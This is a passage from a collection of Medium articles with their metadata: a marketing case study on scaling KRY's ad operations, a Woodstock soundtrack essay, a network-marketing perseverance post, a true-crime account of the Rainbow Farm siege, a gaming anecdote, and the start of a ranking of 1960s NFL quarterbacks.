New account structure for Google (e.g. MCC level, separating Google App and Search campaigns).
Consolidated the Facebook targeting and focused on new potential users with more universal messages to avoid audience overlap and increase reach.
Introduced a new structure for Google App campaigns that included a lot more symptoms in different ad groups.
Reduced complexity by using Google Ads instead of DV360 to run YouTube ads (also in a separate Google account).
Here is an account structure that Google suggests using. We consider this to be a bit too complex for smaller startups, but it’s the best way to go if you want to scale your company:
Standardizing: Creating consistent campaign naming conventions
KRY uses different agencies for different markets, which is a good approach to get new markets up and running fast since you are using local expertise. Most agencies have their own preferred campaign naming conventions, which they use across different clients.
However, if you want your analytics team to be able to do analyses across markets, and if you want to eventually bring your performance channels in-house, it makes sense to standardize those naming conventions.
Here’s the process that we followed:
Establish your own campaign naming conventions that will work for at least a year and will account for your future planned channels, campaigns, products etc.
Get feedback from all stakeholders, especially all local marketing managers who will work with those naming conventions.
Introduce a tool that will help you enforce the naming conventions.
We used a tool that would allow teams to easily pick market, channel, platform etc. without making any mistakes. It was essentially a campaign naming assistant, UTM and Adjust link builder in one tool. However, you can also just use Google sheets with a formula that provides the correct output.
We used a tool that would allow teams to easily pick market, channel, platform etc. without making any mistakes. It was essentially a campaign naming assistant, UTM and Adjust link builder in one tool. However, you can also just use Google sheets with a formula that provides the correct output. In a formal session, introduce your tool to all stakeholders and show them how to use it.
Stick to your naming conventions and, if necessary, change / adapt them once a year.
Setting up a creative production process that scales
Your performance marketing is only as good as your creatives and ideally, you quickly understand what works and iterate on it. In order to be able to scale, we changed the creative production process to reduce the time from briefing to go-live of the creative and the number of feedback loops given. Here is what the new process looked like:
The most important part now is that KRY’s creative team gets feedback on how their creatives are doing in terms of customer acquisition and what works and what doesn’t. This helps them to get into a production mode that is much more performance-driven. At the same time, they still control branding while reducing the number of feedback loops given with a master production file that they deliver to the agency (Twigeo).
Going forward, the creative Director at KRY wants to establish a creative library that can be used to come up with new ads for performance marketing.
Improving your tracking framework
When we started to work with KRY, we did encounter some challenges with the existing tracking framework and partner integrations. This is not least due to the fact that KRY has a complex set up where they are mobile-first while still using the website to generate leads through valuable medical content. For companies looking to scale, we would like to suggest the following:
Update existing tracking concepts and create a framework to increase the percentage of tracked conversions for core partners.
Standardize settings of tracked events.
Lobby for the inclusion of more events to be used by marketing channels.
Collaborate with different teams and partners to find a suitable solution for all involved.
Making the most out of your agency relations
When relying on agencies, you want to make the most of your relationship and get the best results possible. We started off by asking the agencies what worked and didn’t work in the collaboration with KRY and what their biggest challenges were in delivering the best performance. The survey results were very helpful in determining what we need to tackle first. Here are some of the things we did to improve agency collaboration:
Clarified the KPIs, goals and budgets that are used to evaluate the agency.
Standardized reporting across agencies and markets.
Improved daily collaboration with weekly update calls, set priorities, documented tasks to be done and the tracked progress of ongoing tasks.
Set up a new improved creative production process (see above).
Connected the agencies to partners like Google, Adjust etc. to support them with more insights.
Organized workshops to come up with new ideas on what to test and eliminated roadblocks.
This truly helped us bring agency relations to the next level. The attention on KRY as a client increased considerably and we were able to generate new ideas to level up performance.
Getting help from partners
Once you have a considerable performance marketing budget to spend, you can and should get help from your advertising partners like Google, Facebook and others. They usually have an interest in helping you, since, if what you are doing works, you will be able to scale your channels even more. When Project A started working with KRY, some of the partnerships were already established, while others (e.g. Snapchat, Facebook) were not.
We reached out to all advertising partners and established regular catch-ups and consultation sessions to get the most out of our performance channels.
Furthermore, we organized a creative workshop with the EMEA Creative Director of Snapchat for all designers working at KRY as well as multiple workshops with mobile tracking provider Adjust in order to foster deeper understanding of the platform.
KRY is now in close contact and collaboration with all advertising partners and they benefit from valuable support and access to new product betas or brand lift studies.
In-housing your performance marketing
By doing all the above we also set the foundation for in-housing performance marketing at KRY. While it’s a great strategy to collaborate with local agencies when starting a new market, in the long run, you will only be able to scale performance and achieve maximum efficiency if you run your performance marketing in-house.
This will not only allow your team to apply learnings across markets, as you will have channel specialists working across markets, it will also make sure that you really work with your business goals in mind and react to changes in strategy much more quickly.
“Having the expertise of Project A helped us taking the next step from startup to scale up.” — Johannes Schildt, Founder & CEO KRY
To conclude, it’s not one big thing you will do in order to scale, but the addition of many, many small things that will make the difference in how smoothly you can make that hockey stick work. Happy scaling! | https://insights.project-a.com/on-the-way-to-scalability-fef933263f0 | ['Anastasia Albert'] | 2020-01-14 11:23:54.979000+00:00 | ['Scalability', 'Marketing', 'Startup', 'Performance Marketing', 'Digital Health'] |
The Sounds Of Woodstock Refuse To Fade, 50 Years After The Last Note Was Played | I was not a part of the Woodstock generation. That dubious honour belonged to my parents, the bell-bottomed men and women of the 1950s and 1960s, who grew up in a Bombay that didn’t look askance at youth in tie-dyed clothing. They were the ones who tacked up posters of The Who, torn from magazines sold second hand on the streets of Fort, the ones who passed around vinyl records of Woody Guthrie and Joni Mitchell, and the ones who nodded along to the sounds of Jimi Hendrix in bars that have long been taken over by banking institutions.
“I had a dream last night.” Photograph: Creative Commons
When I look back at how I was introduced to the music of Woodstock, it’s with surprise because so much of what I took for granted wasn’t necessarily familiar to the rest of India. While the festival took place between August 15 and 18, in 1969, Indira Gandhi was Prime Minister, and our country was dealing with a problem that’s never really gone away. There were communal riots in Gujarat that year, less than a month after the festival in New York. If there was something simmering in the air in the months before that tragedy, it’s safe to assume music had no part of it. Some reports claim that 2,000 people lost their lives, which presumably made it hard for millions of people to focus on “3 days of peace & music”, even if Rolling Stone magazine would eventually say it had changed the history of rock and roll.
There were other momentous diversions, including the splitting of the Indian National Congress and the death of movie star Madhubala, both of which took up a lot more newsprint than reviews of an American music festival. It’s why I often wonder at how my parents — in small Roman Catholic nooks of Colaba and Byculla — had access to what so many of their peers were effectively denied. In an age of state-controlled television, decades before YouTube and streaming services, the possibility of stumbling upon live performances of Woodstock was remote.
Photograph: Creative Commons
I first heard it on cassette, a double edition culled from the original triple-LP set sold by vendors on DN Road. It could have been a pirated copy. This was in the 80s, and I had been steadily moving past the hair bands and synthesizer pop of my day in an attempt to understand where it had all come from. As a habit, it has served me well, this refusal to accept the present without attempting to explore its precedents. A number of names on the back of the cassette seemed familiar anyway, thanks to the mixed bag of records owned and played by my parents, so I picked it up and popped it into my walkman for the train ride home.
There was no epiphany, despite what scores of music writers and critics may have felt, presumably because they had expectations I didn’t. My culture simply didn’t permit me to understand the nuances of what Woodstock meant, what it stood for, or what it was a movement against. That knowledge came much later, with repeated listenings over the following decades. Some songs managed to age well (will the Hendrix interpretation of the “Star Spangled Banner” ever get old?), while others lost their potency. What it started to become, as I grew older and the events of 1969 began to reveal how they fit into a larger scheme of things, was a historical document.
When I listen to the soundtrack now, I have specific reactions to some of the tracks, and a subtle appreciation not just for the snippets of banter but the implications of what the artistes were singing about. The opening by John Sebastian of The Lovin’ Spoonful, for example, was supposedly an impromptu appearance, but sets the tone for so much of what Woodstock hoped to accomplish. “I had a dream last night, What a lovely dream it was, I dreamed we all were alright, Happy in a land of Oz” ought to sound twee any time after 1970, but doesn’t because it is informed by the music that follows it.
Photograph: Creative Commons
Then there was Richie Havens, whose three-hour set was reduced to something he came up with to stall for time, a reworking of the spiritual “Motherless Child” that was eventually titled “Freedom”. As more of his music that day was revealed in later editions of the soundtrack, it is marvellous to consider how a throwaway filler song catapulted him to stardom and continues to define his legacy. It was followed by Joan Baez’s cover of The Byrds’ “Drug Store Truck Drivin’ Man” with its reference to the Ku Klux Klan, Sha-Na-Na’s doo-wop “At the Hop”, Neil Yong’s broody “Sea of Madness” and The “Fish” Cheer/I-Feel-Like-I’m-Fixin’-to-Die Rag by Country Joe and the Fish that continues to be a benchmark for call-and-response live recordings.
I still turn to the soundtrack, sometimes because Joe Cocker’s cover of “With a Little Help from My Friends” is the best way to end a drunken evening, at other times because the Sly & the Family Stone medley can inject a shot of adrenaline to the most melancholic day. So much of the music is now familiar to millions across the rest of the world, which doesn’t make sense given how local it was meant to be, and how far from its original profit-making origins. Its organisers didn’t know what hit them — as the celebrated documentary makes painfully obvious — but they couldn’t possibly have known what the repercussions of their venture would be, or how it would continue to have an influence on not just the idea of a music festival, but the way artistes would start to believe in their ability to usher in change.
The fact that issues relevant to the cause of Woodstock are still pertinent half a century on is what makes listening to it a bittersweet experience in 2019. It is that continued relevance though, that also makes it special.
— First published in GQ, August 2019 | https://lindsaypereira.medium.com/the-sounds-of-woodstock-refuse-to-fade-50-years-after-the-last-note-was-played-ee3639b1574 | [] | 2019-09-10 20:04:28.094000+00:00 | ['Music', 'Jimi Hendrix', 'Rock And Roll', 'Woodstock', 'Pop Culture'] |
Never Give Up! | Here’s a motivational affirmation.
Is it? Or is it not?
When you’re stress-free, you find it the most beautiful slogan and you think it is easy to dedicate yourself to it.
But when you’re gripped by the pressure of doubt for what you’re doing, since the results don’t come out, when you have high hopes and they only come true 5 or 10% or maybe even less, even though you feel that you’ve put in a huge effort, this expression seems very far and very false.
After I published something about myself, in which I wrote the story of progress through perseverance, I received a lot of likes and a lot of congratulations.
Thank you, everyone!
Does that mean I’ve never given up on a project I started?
Unfortunately, I’m afraid I did it.
Because I’ve lacked some knowledge of how to connect to personal resources. However, from each, I learned a lot of things.
Today I’m talking about fighting from within while you persevere.
Fight from within
It’s very easy to tell affirmations like the ones in the title, but the truth is that after you face a lot of no, there’s a bitter battle going on inside you.
Part of you tells you not to give up, to move on to keep doing what you started and you’re going to succeed.
Another part of you, it’s overwhelmed by failure. You feel like your stomach is tightening, your heart is like a lump and tied to what you’re doing. You feel a huge pressure that presses you from the inside out as if it’s ready to explode.
I’ve felt that many times in what I’ve done. After receiving many refusals as an advertiser, without having read anything about perseverance, I managed to achieve some very good results.
But during that activity, it worked not only perseverance but also motivation. I was motivated to move on, to continue to approach companies for advertising contracts, because I had no choice.
If I didn’t make it, I’d soon starve to death.
That reminds me of a story I heard on a course.
Motivation, perseverance and their role
After the Romans crossed the English Sea and landed to conquer the territory of England, their ruler gave an order. When the soldiers looked back, they realized that all the ships they had come with were burning. From that moment on, they had nothing to go back to their country. They had a choice, to die in battle or to defeat and conquer England.
Many fell (gave up their lives), but others continued to fight and put even more effort into it because they had no choice. Either they died or they won.
This is a model of motivation. Something similar motivated me. Even though I remained a teacher, that summer I acted as if I had my ships burned, because I had no other solution.
But it wasn’t always like that.
Should I act less or more?
Since the summer of 2010, I started to show the marketing plan for a network marketing business. I hadn’t burned my ships at that time.
I was no longer motivated by hunger, but the desire to make money to buy an apartment.
In courses and seminars, on CDs, we were told that you can get results if you show at the plan at least 8 times a month.
And it’s true. You get results, but quite poor.
Showing eight plans a month it’s very excruciating. Most responses are negative. Emotional consumption is huge. When you go twice a week to show the business model, you start thinking about the process too much.
You get too much hope that doesn’t come true and you start over-analyzing things. This process of thought and analysis paralyzes you with fear and doubt.
You don’t have the guts to get your hands on the phone, to call. You think this is always a bad time. Maybe the person is eating, maybe he’s asleep, maybe he doesn’t want to answer, maybe he doesn’t like you, maybe…
Your hands shake when you touch your phone. You try to make a plan in your mind about what you want to say, but when you hear your phone being answered, fear has blocked your brain and you don’t know what to say, not even who you are and why you called.
Then, talk to the upline.
I was lucky. I had an upline that had patience with me and explained many things to me. And after I talked to her, I felt better.
Slowly the results, which, however weak, gave me confidence that it could do it and helped me move on.
At a seminar, I found out that you have even better results if you show the plan 15 times.
At first, I thought if it was so hard for me to show the plan eight times, 15 times it would be impossible. But the upline explained to me that it was actually the opposite.
The more you do it, the more you keep your brain busy, the less you think and you stop worrying so much. You no longer focus on the refusal of the man in front of you, but on the fact that you have a target, and you must achieve it.
Even if one turned you down, you know you have one more chance with the next, then the next marketing plan you show, and so on.
And I did so.
Indeed, fear existed, but not as intensely as at 8 plans. Perseverance has yielded better results.
I remember in a month I got almost 12–13 rejections one after the other. I was about to give up, but the upline told me it was nothing, that’s how it is in life, in business and just to move on. I did that and when I got to the next person, she made me a 200-point order. I was super-excited. That order counterbalanced all the refusals I received.
At the seminars, I heard leaders saying they showed 2–3 even 5 marketing plans a day. That means between 60–150 plans a month.
No wonder they got such quick results.
The brain didn’t have time to think, to get scared, to create theories, to precipitous images. He obeyed orders he received from the conscious mind.
It didn’t matter that one or the other said no. All that mattered was that after he left there, he would show another plan and then another one and so on.
At the end of the month, when he looked at things, he noticed the results. And these have accumulated over time.
The fewer plans I made, the more I consumed myself. The more I motivated myself and worked more, the more my fears melted away.
Barrier of terror
What I’m saying is that the difference between giving up and perseverance is the way you manage the inner pressure of rejections.
That reminds me of another story.
A grandfather talked to his nephew and told him that inside of us, each of us had two wolves. One is evil, unjust, creepy, full of prejudice, and the other is kind, gentle, optimistic, confident, and full of love. The two wolves are constantly in battle. “And who wins?” asked the nephew. “The one you feed more”, Grandpa replied.
When you face many rejections, you feel the two wolves inside you struggling and each comes up with arguments, which are stronger.
Some say this moment is the barrier of terror.
The good wolf wants to get through, to succeed in what he set out to do. It’s his mission to get the job done.
The evil wolf creates pain given by numerous refusals, by the fears that dominate it, by concerns.
He’s starting to reproach you for the time you’ve wasted, the money you hoped to earn, and it didn’t happen. It tells you horror stories about people who have lost everything, that’s just a big lie, etc.
He finds objections to everything you want to do. The market is already over-crowded, people don’t want the product you’re showing, they haven’t turned down the product, they’ve turned you down, they didn’t like you, because you’re destined to stay poor, because those who succeed know a secret that they don’t tell you, etc.
Who wins? Depends on who’s stronger for you. Fear or motivation.
When you let fear take over your whole being, you don’t have the courage to talk to someone else. You’re afraid he’ll make laugh of you, of your weaknesses, or judge you and criticize you even worse.
If fear is greater than motivation, it is very easy to give up, to go back to your life before that action.
If you are motivated, then you continue and persevere and eventually get results and overcome fear.
And last but not least, if you’re motivated and the bad wolf gives you trouble, you start talking to your mentor. This one, who has more experience than you, will know how to say a word of encouragement to get you out of that state.
You alone can’t overcome this barrier of terror, but with help from mentors, you certainly succeed.
And sometimes help can be one word, one expression, one look. He can tell you: I know you can, or I trust you or help you with an unlocking technique and after that, you feel relieved.
Other times, after talking to your mentor and he is giving you a solution, things become simple and easy to navigate again and you realize that fear has played tricks on you and was about to fool you.
And then, it’s very easy for you to say, NEVER GIVE UP!
Best regards,
Fănica Rarinca
Blogger at Fanautodidact
Author of Patronel and Soriela, a fantasy and self-improvement for children book, Eliberează-te de rănile trecutului și redescoperă fericirea! — a book in Romanian language for self-help and healing the trauma from the past, Mica Stea Portocalie — a fantasy novel with emotional education for YA and adults. | https://medium.com/@fanica-rarinca/never-give-up-54bcb7291538 | ['Fanica Rarinca'] | 2020-12-23 21:31:06.470000+00:00 | ['Fear', 'Terror', 'Motivation', 'Perseverance', 'Never Give Up'] |
The Forgotten Siege of Rainbow Farm | The Forgotten Siege of Rainbow Farm
Tom Crosslin and Rollie Rohm’s farm was a symbol of freedom and they were willing to die for it.
Tom Crosslin and Rollie Rohm-Source: rainbowfarmcamp.com
In 1990, Tom Crosslin met Rollie Rohm and felt something different. The man known for his promiscuity was in love. Rohm, a 17-year-old single father, eventually ceded to Tom’s charm and the two began a relationship.
Crosslin was a country boy who wasn’t afraid to fight if necessary and even was in a biker gang earlier in his life. Rohm was quiet and calm. He loved to play soccer and listen to rock music which was partially showcased by his long blond hair.
In 1993, Crosslin purchased a 35-acre farm outside of Vandalia, MI. The old farmhouse was unlivable, but Crosslin saw the beauty in the land and wanted to make a home for himself, Rohm, and Rohm’s young son Robert.
Crosslin, Rohm, and friends immediately started to renovate the house. After taking a break from a long day of working, Crosslin and Rohm were sitting atop a hill on the property when they saw a rainbow. It happened a couple more times that week so they christened it Rainbow Farm.
On the Fourth of July, they held a cookout. They expected about 100 people and 250 showed up. Crosslin loved the communal atmosphere, but he was also a businessman who thought about the profit he could make if he had a cover charge.
Crosslin wasn’t super-rich, though he did own and rent a lot of properties. He always had the rentals as assets and they provided income that could help him make improvements and additions to the farm. Maintaining those properties was often an annoyance and Crosslin hoped to make a living off the farm.
Ideology
When Crosslin purchased the land he envisioned a libertarian paradise. While not completely a libertarian himself, Crosslin’s beliefs came down to freedom of choice. People should be able to do with their bodies as they pleased which for Crosslin and Rohm meant the right to smoke weed.
Like millions of other Americans, Crosslin and Rohm believed that the prohibition of marijuana needed to end, not just for people who liked to smoke, but also because of the many uses provided by hemp. Being a farm boy himself, Crosslin knew about the industrial and environmental benefits of hemp cultivation.
Aside from the choices of free will, Crosslin strongly believed in property rights and how the government shouldn’t impede on a citizen’s private property.
From Dean Kuipers’ book Burning Rainbow Farm: How A Stoner Utopia Went Up In Smoke, on the day the Alfred P. Murrah Federal Building was bombed in Oklahoma City; Crosslin, Rohm, and Robert went to get burgers at a nearby bar. Crosslin was in a bad mood. Then he started drinking and was going to let his opinion be known. He was horrified that the attack was a result of the government assaults on Ruby Ridge and Waco.
“Fuck the government…long live David Koresh! They ought to know better than to come down on citizens of this country that way. When people are pissed, they’re gonna fight back. This Oklahoma shit is just the beginning. You wait. The people are gonna rebel against the government!”-Tom Crosslin from Burning Rainbow Farm
Alfred P. Murrah Federal Building in Oklahoma City-Source: Wiki Commons
Revenge against the government is exactly what Timothy McVeigh sought when he parked a rented Ryder truck in front of the Murrah Federal Building. In the back of the truck was 5,000 pounds of explosives that he detonated early in the morning of April 19, 1995. The blast killed 168 people, including 19 children, and injured 684 others.
Tom Crosslin’s intuition about the motive behind the bombing had been correct.
McVeigh’s radicalization began after the Ruby Ridge siege in 1992, where federal marshalls attempted to apprehend the property’s owner Randy Weaver after he failed to appear in court on firearms charges. Weaver believed there was a government conspiracy against him and wouldn’t surrender.
His immediate family and a friend also refused and an 11-day siege took place. Weaver’s 14-year old son and wife were shot dead during the standoff. A U.S. Marshall also died. At the end of the 11 days; Weaver, his friend, and Weaver’s three daughters all surrendered to authorities.
Then there was the government’s siege of the Branch Davidians compound in Waco, Texas in 1993. The ATF suspected the group of hoarding and selling illegal weapons and attempted to serve a search warrant for the compound and to arrest the sect’s leader David Koresh. A shootout erupted where four ATF agents were killed as well as six Branch Davidians.
The result was a 51-day siege. On the final day, the FBI launched a tear gas assault in an attempt to force the members out of the ranch. Moments later, the entire building went up in flames killing 76 Branch Davidians, 25 of them children.
Branch Davidians’ compound-Source: Wiki Commons
The events that took place in Waco were disputed by many. The Justice Department determined that the fire was started by the group members, but some believed that the government agents were responsible for setting the building on fire and ultimately killing 76 people.
Spectators had gathered outside the Branch Davidians compound during the standoff to protest the government’s motive for the intervention. Timothy McVeigh happened to be one of them, passing out pro-gun rights literature and bumper stickers.
Tom Crosslin was by no means in support of McVeigh’s terrorism but knew that more of these atrocities could happen if incidents like Ruby Ridge and Waco became commonplace.
The Beginning
Crosslin’s views of private property rights strengthened after he bought the farm. Ideas swirled around his head on the potential of the land.
The thought of holding a festival initially came to Crosslin during that first cookout at the farm when he underestimated the number of attendees. Yes, Crosslin was a businessman, but he also had his hippy beliefs of community. A big part of Crosslin’s community was the pro-marijuana faction.
Kuipers details in his book how events like Weedstock often had problems with law enforcement and patrons getting busted. One instance of this was in 1996 when 3,000 people were in attendance at a Weedstock in Sparta, Wisconsin, and 100 were arrested for either possession or sales. Crosslin recognized the issues with festivals like this and consulted a lawyer on how they could ensure their events weren’t filled with arrests.
The festivals at Rainbow Farm would be on private property and all drug sales were strictly forbidden. Crosslin and Rohm knew that any sales that could be tied to them could possibly result in them losing the farm. Growing and selling weed are felonies, but smoking was only a misdemeanor.
There was still the risk of a possession charge as festival-goers could be pulled over by police on the way to the property. But once they were inside the gates, they would be fine as law enforcement couldn’t come onto the property to give out misdemeanor smoking tickets.
Crosslin was hoping that by abiding by these rules they could reduce tensions between their attendees and the police. They wanted to avoid the in-your-face tactics of other marijuana events and display the peaceful nature of the plant.
The vibe of Rainbow Farm-Source: screenshot from Steven Hager on YouTube
Crosslin established the farm as a campground. People who lived alternative lifestyles, people who were gay, and people who loved to smoke pot could set up a tent and feel safe on the property. It was also very family-oriented and community-friendly.
Once they had the campground set to go, Crosslin and his crew built the infrastructure of their festivals. What they did was impressive and progressive.
They hired local workers and small family-owned businesses for almost everything. For food, they had vendors who sold locally raised pork and also had vegan stands. They kept the familial atmosphere by having Robert driving around on a golf cart and helping out when needed.
Crosslin had a shower room built, a general store, a head-shop, a coffee shop, and also a stand for hemp made items. One of the more interesting features was a coin laundry that was said to be the best in town.
A stage was built that was supplied with professional sound and lighting equipment for the musical acts. They of course wanted bands to perform, but they also targeted prominent figures in the marijuana movement.
Rainbow Farm-Source: screenshot from therealjamesbud on YouTube
With promises of appearance fees, plane tickets, and other amenities being paid for, Crosslin was able to get acts that would give Rainbow Farm notoriety.
Festivals
Their two main events were Hemp Aid held on Memorial Day weekend and Roach Roast on Labor Day weekend with smaller gatherings in between. Before the festivals got off the ground the state police made sure that Crosslin and Rohm knew they were being closely watched, often through intimidation.
“I can’t believe they haven’t killed you boys already”-Merle Haggard from Burning Rainbow Farm
Undeterred, the Rainbow Farm crew reminded the police of their rights on private property, and the initial festivals went on without too many problems.
The attraction of one of the first events was Jack Herer, a prominent marijuana rights activist and author of The Emperor Wears No Clothes, a popular book about the history and uses of cannabis.
Editor of High Times magazine Steve Hager also made an appearance and subsequently started writing about the crusaders of Rainbow Farm. This type of publicity in the largest marijuana publication helped make the farm one of High Times' top marijuana destinations in the world.
After a couple of years of hard work by everyone involved, they landed the king of stoners. Tommy Chong’s appearance was another giant step towards national notoriety. Chong performed with his family band and loved the farm for what it was trying to achieve.
Tommy Chong-Source: Wiki Commons
“Rainbow Farm was what I envisioned America to be, a lot of tents with people selling headbands and tie-dyed stuff and pipes. Nomads and gypsies traveling. Bands playing on the stages. And people camping out. It was Utopia.”-Tommy Chong from Burning Rainbow Farm
But as the new Millenium came, the number of problems that Crosslin, Rohm, and their crew faced steadily grew. They were spending tons of money doing things like adding bathroom facilities and mounting large video screens to the stage. They also booked the most famous musician that would ever perform at Rainbow Farm.
According to Kuipers, when Merle Haggard stepped off his tour bus to meet Crosslin and Rohm he shook their hands and said, “I can’t believe they haven’t killed you boys already.”
Unfortunately by then, there was so much heat from law enforcement that only 500 people showed. Haggard and his band still gave the crowd a great performance then hung around afterward drinking with the farm crew. Haggard’s comment to Crosslin and Rohm was becoming more of a possibility with the police doing everything they could to shut the place down.
The Opposition
Timing is everything and the opening of Rainbow Farm happened to coincide with their biggest nemesis, Scott Teter, being elected as Cass County prosecutor. Teter was your typical law and order official who didn’t operate in any grey areas, everything was black and white, legal or illegal.
Nobody could argue against his stance, he was hired to uphold the law and keep Cass County safe, but Teter was overzealous when it came to dealing with Rainbow Farm. He allowed some grey areas for finding evidence to support his cause and wasn’t going to play fair.
In the beginning, police would show up to the farm and act like they had free rein over the place. Crosslin would remind them that they were impeding on private property and needed to leave.
While the events continued, law enforcement would park on the roads that led to Rainbow Farm to make sure that everyone associated with the farm knew they were being watched. When Crosslin and Rohm were in the community cops would make intimidating statements or gestures towards them.
Teter and law enforcement sent informants and undercover cops to the farm during their events. Some of the farm staff told Kuipers in interviews that they were aware of who the narcs were and tried to reiterate to employees and attendees that all drug sales were strictly forbidden. They couldn’t have complete control over thousands of people though.
The Incident
Teter claimed that during Rainbow Farm events, his agents were able to score any drug they wanted except heroin. He insisted that at one festival, Crosslin was driving in a golf cart yelling out to the crowd where to buy their dope from. There never seemed to be concrete evidence of this and none of the sales could be directly traced back to Crosslin or Rohm.
Then on April 21, 2001, a 17-year-old high school student named Konrad Hornack ran a stop sign and crashed into a bus. The impact killed Hornack and also tipped the bus over, injuring the driver and six kids.
Hornack was wearing a Rainbow Farm wristband indicating he was possibly at the farm’s event the night before. His friend told detectives that they had smoked weed and took LSD at Rainbow Farm.
Teter had enough and began working on a warrant for Rainbow Farm. Oddly, Teter decided to go after the farm for their taxes, working on a tip from an informant who said all employees were paid under the table. Kuipers reports that they would never find anything wrong with the taxes. The property to be seized was all financial and payroll records, there was no mention of marijuana anywhere in the document.
He also put together a case for forfeiture of the property with nothing to do with taxes or any campground business. It solely revolved around drugs. As Kuipers states;
Teter needed just one score from that house. Not too many prosecutors are going to have a massive forfeiture document ready just in case they find drugs on a tax case. Nor is a tax case usually resolved by a massive tactical raid. He already knew what he would find there.
State authorities rolled into Rainbow Farm and took over with an unnecessary amount of tactical force to execute a tax warrant. With guns drawn, the police rounded up campers and employees demanding to know where the drugs were. They dragged Crosslin and Rohm out of the house. Crosslin couldn’t contain his contempt and let his feelings be known for what was being done to him. Rohm remained quiet as he was led to a squad car.
The police found a joint in one of the buildings and proudly declared the impending arrests to farm staff. What they would discover in the basement was far more damaging to Crosslin and Rohm.
They uncovered a fairly sophisticated grow room and around 300 plants, all for personal use. It was the biggest mistake Crosslin and Rohm could make as they knew they were putting their farm on the line. This gamble would be their undoing.
The End
The authorities were able to secure a drug warrant. They gathered as much evidence as possible while Crosslin and Rohm sat in the back of a cop car. Teter and attorney general at the time, Jennifer Granholm, who would later become governor of Michigan, pulled into the farm to gloat from the comfort of their vehicle.
Besides the marijuana, cops found a couple of shotguns and a pistol, fairly standard stuff for a rural Michigan household, but it was an issue for Tom as he was a convicted felon. Crosslin was charged with manufacturing marijuana, felony firearm possession, possession of a firearm by a convicted felon, and maintaining a drug house. Rohm received the same except for the gun charges.
Robert was taken into custody by child protective services. Days after the bust, Crosslin, and Rohm posted bail and returned home. When they realized how much money it would cost to mount a proper defense they ran out of hope. They felt defeated but weren’t going to let the government take their farm.
Crosslin had become defiant while Rohm seemed scared that he would lose custody of Robert permanently. Late in August 2001, the pair were scheduled to be in court and failed to show. Teter ordered their arrest and had police ready to go to Rainbow Farm to apprehend Crosslin and Rohm.
The men weren’t going anywhere. On August 31, 2001, Crosslin started to tell employees, campers, and neighbors that they needed to leave and stay away from the farm. They gave away many of their possessions and made a last-minute will leaving everything else to Robert.
Crosslin and Rohm filled their buildings with straw and began setting them on fire. Neighbors called 911 after the first blaze. News cameras descended onto the farm and helicopters hovered above. Thinking that they were law enforcement, Crosslin shot at the helicopters. He would later have a middleman apologize for him.
On Monday, September 3, Crosslin and a farm supporter walked over to a neighbor’s house to gather some supplies. When they got back and realized they forgot to grab a coffee pot, the two of them made another trip. Carrying a gun, Crosslin heard rustling in the woods, stopped walking, and raised his gun. The agents promptly shot him dead. The farm supporter walking with Crosslin was not killed.
Early in the morning on Tuesday, September 4, Rohm demanded to speak to Robert in person and then he would surrender. Hours before that meeting was supposed to happen, Rohm set the house on fire. He hid behind a tree on the property and when he saw a couple of police officers approaching he reportedly raised his gun and was killed.
Aftermath
The news coverage during the siege was short-lived because it happened a week before 9/11, leaving most of America unaware of the Rainbow Farm story.
Source: screenshot from therealjamesbud on YouTube
Scott Teter now works for the attorney general in their financial crimes division.
Robert has a family of his own and works as a pastor for his local church. The campground stayed open for a couple of years but now belongs to private owners.
In 2008, Michigan became the 13th state in the U.S. to legalize medical marijuana. Ten years later, recreational use was legalized. Tom Crosslin, Rollie Rohm, and Rainbow Farm were crucial figures in the movement to change the laws in the state of Michigan.
Through their activism, they found themselves in the government’s crosshairs and once that happens there is not much a person can do. The search warrant for their house was bogus, but it allowed the police to find what they were looking for. The threats and actions of law enforcement left these two men desperate. Their deaths should have been avoided instead of them becoming another casualty in the war on drugs. | https://medium.com/crimebeat/the-forgotten-siege-of-rainbow-farm-a28cbb2640f9 | ['Aj Wiseman'] | 2020-12-01 00:06:59.060000+00:00 | ['True Crime', 'Politics', 'Society', 'History', 'Culture'] |
One Psychological Superpower I Wish I Had | I wish I didn’t feel so obligated to help people.
Earlier this morning, while playing a game of League of Legends, I dove headfirst into the losing side of a 2 vs 5 after my jungler (the guy who “floats” around the map) fell for a bait.
If you don’t know what a ‘bait’ in LoL is, it’s when an enemy player tricks you into thinking they’re alone or at a disadvantage. When you take the bait and try to secure the kill, his teammates, waiting closeby in the shadows, jump your ass and make you feel like a fool.
An experienced player can smell a bait from a mile away. I tried telling the guy, “stop, don’t do it.”
But he went for it anyway.
Not surprisingly, the rest of the enemy team came out of the woodwork and started to chase him down. I threw myself into the mix in a feeble attempt to turn the tides.
We both died. He flamed me. LoL is great. | https://medium.com/dreamweaver-stories/one-psychological-superpower-i-wish-i-had-b729ac127f22 | ['Jason Gutierrez'] | 2020-11-10 14:08:47.515000+00:00 | ['People', 'Mindset', 'Motivation', 'Psychology', 'Self Improvement'] |
Top 10 NFL Quarterbacks of the 60s | The 1960’s was a time where you rarely saw 3,000 yard passers. If a Quarterback in the 60’s threw for 3000 yards, that would be equivalent to being a 4,800 yard passer in today’s NFL. It was a different time so the standard of what are good or great statistics is viewed and should be viewed in a different light. Lets keep this in mind when looking into the rankings of the top signal callers of the decade. Also keep in mind that these rankings are based on what the Quarterbacks did in the 60’s (1960–1969) and not their entire career. I’ll give you guys a preview….. there are 7 Hall-of-Famers on this list. That’s how much depth there is on this list.
Before we get started make sure to check out the previous Top 10 QB Lists below.
Top 10 Lists:
Top 10 QB’s of the 70's
Top 10 QB’s of the 80's
Top 10 QB’s of the 90's
Let the countdown begin!
A Hall-of-Famer cracks the number 10 spot.
10) Y.A. Title: San Francisco 49ers & New York Giants-
Stats for the Decade: 35–14–3 QB Record, 55.7 Cmp.%, 11,133 Passing Yards, 100 TD, 71 INT, 83.5 Rate
Accolades/Awards for the Decade: 1x MVP, 3x Pro-Bowler, 2x All-Pro
The Breakdown:
Title only played four full seasons in the 60’s and in three of those he was arguably a top 5 passer. He led the league in touchdown passes twice and had two back-to-back seasons of 30 or more touchdown passes which was unprecedented at the time. In fact Title’s league leading 36 Touchdown Passes in 1963 is still a New York Giants single season record. Very impressive considering guys like Phil Simms and Eli Manning each played over 15 seasons for the team. Title’s lack of playoff success and the fact that he only had 3 great seasons in the decade keep him from being higher this list.
The “mad bomber” definitely earned his nickname.
9) Daryle Lamonica: Buffalo Bills & Oakland Raiders-
Stats for the Decade: 40–4–1 QB Record, 49.2 Cmp.%, 12,274 Passing Yards, 105 TD, 83 INT, 74.9 Rate
Accolades/Awards for the Decade: 3x Pro-Bowler, 3x AFL Champion, 2x All-Pro
The Breakdown:
